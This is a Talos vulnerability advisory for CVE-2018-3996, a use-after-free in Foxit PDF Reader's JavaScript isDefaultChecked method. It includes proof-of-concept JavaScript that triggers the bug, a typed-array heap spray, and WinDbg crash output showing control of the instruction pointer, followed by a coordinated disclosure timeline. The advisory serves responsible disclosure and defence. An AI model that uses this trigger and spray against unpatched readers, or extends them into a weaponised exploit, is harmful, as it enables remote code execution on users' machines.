Talos Vulnerability Report

TALOS-2018-0664

Foxit PDF Reader JavaScript field object isDefaultChecked remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3996

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.2.0.9297.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees numerous used objects, but the JavaScript can continue to execute. A use-after-free condition can be created by invoking a method that keeps a stale reference to a now-freed object. This could be abused to execute arbitrary code.

This particular vulnerability lies in invoking isDefaultChecked method of a field object with a crafted object as argument, which can trigger a use-after-free condition:

function main() {
    var tmp = {};
    tmp.toString = f; 
    app.activeDocs[0].getField('mydata').isDefaultChecked(tmp);
}

function f() {
    app.activeDocs[0].closeDoc(); 
}
main();

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(178c.1500): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12da0da0 ebx=04ade964 ecx=12da0da0 edx=00000004 esi=115b4f90 edi=80000000
eip=009f618b esp=04ade888 ebp=04ade88c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
FoxitReader!CryptUIWizExport+0x118e0b:
009f618b 8b01            mov     eax,dword ptr [ecx]  ds:0023:12da0da0=????????     
0:000> dd ecx
12da0da0  ???????? ???????? ???????? ????????
12da0db0  ???????? ???????? ???????? ????????
12da0dc0  ???????? ???????? ???????? ????????
12da0dd0  ???????? ???????? ???????? ????????
12da0de0  ???????? ???????? ???????? ????????
12da0df0  ???????? ???????? ???????? ????????
12da0e00  ???????? ???????? ???????? ????????
12da0e10  ???????? ???????? ???????? ????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04ade88c 009f6176 FoxitReader!CryptUIWizExport+0x118e0b
01 04ade8a0 00a047e0 FoxitReader!CryptUIWizExport+0x118df6
02 04ade8e4 009efbd0 FoxitReader!CryptUIWizExport+0x127460
03 04ade93c 0199f1eb FoxitReader!CryptUIWizExport+0x112850
0:000> u
FoxitReader!CryptUIWizExport+0x118e0b:
009f618b 8b01            mov     eax,dword ptr [ecx]
009f618d ff9068010000    call    dword ptr [eax+168h]
009f6193 85c0            test    eax,eax
009f6195 746e            je      FoxitReader!CryptUIWizExport+0x118e85 (009f6205)
009f6197 8b10            mov     edx,dword ptr [eax]
009f6199 8bc8            mov     ecx,eax
009f619b 53              push    ebx
009f619c 57              push    edi

Analyzing the heap state clearly shows that ecx points into a freed memory region. Also, we can see that the instruction immediately following the point of crash makes an indirect call to a controlled address. We can abuse typed arrays to try and fill the memory of the freed object. A simple spray of Int32Array typed array suffices in this case:

global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0xff8 );
var int32View = new Int32Array(global.arr[i]);


for(var j = 0; j <int32View.length ; j++){
  int32View[j] = 0xeaeaeaea;
  }

}

Loading the proof of concept in the Foxit Reader with pageheap disabled this time results in the following crash:

(16f8.f80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader.exe - 
eax=eaeaeaea ebx=002ce90c ecx=08ab2838 edx=00000004 esi=0832e5c8 edi=80000000
eip=0187618d esp=002ce830 ebp=002ce834 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptUIWizExport+0x118e0d:
0187618d ff9068010000    call    dword ptr [eax+168h] ds:0023:eaeaec52=????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002ce834 01876176 FoxitReader!CryptUIWizExport+0x118e0d
01 002ce848 018847e0 FoxitReader!CryptUIWizExport+0x118df6
02 002ce88c 0186fbd0 FoxitReader!CryptUIWizExport+0x127460
03 002ce8e4 0281f1eb FoxitReader!CryptUIWizExport+0x112850

This can easily lead to arbitrary code execution, as we have direct control over the instruction pointer.

Timeline

2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.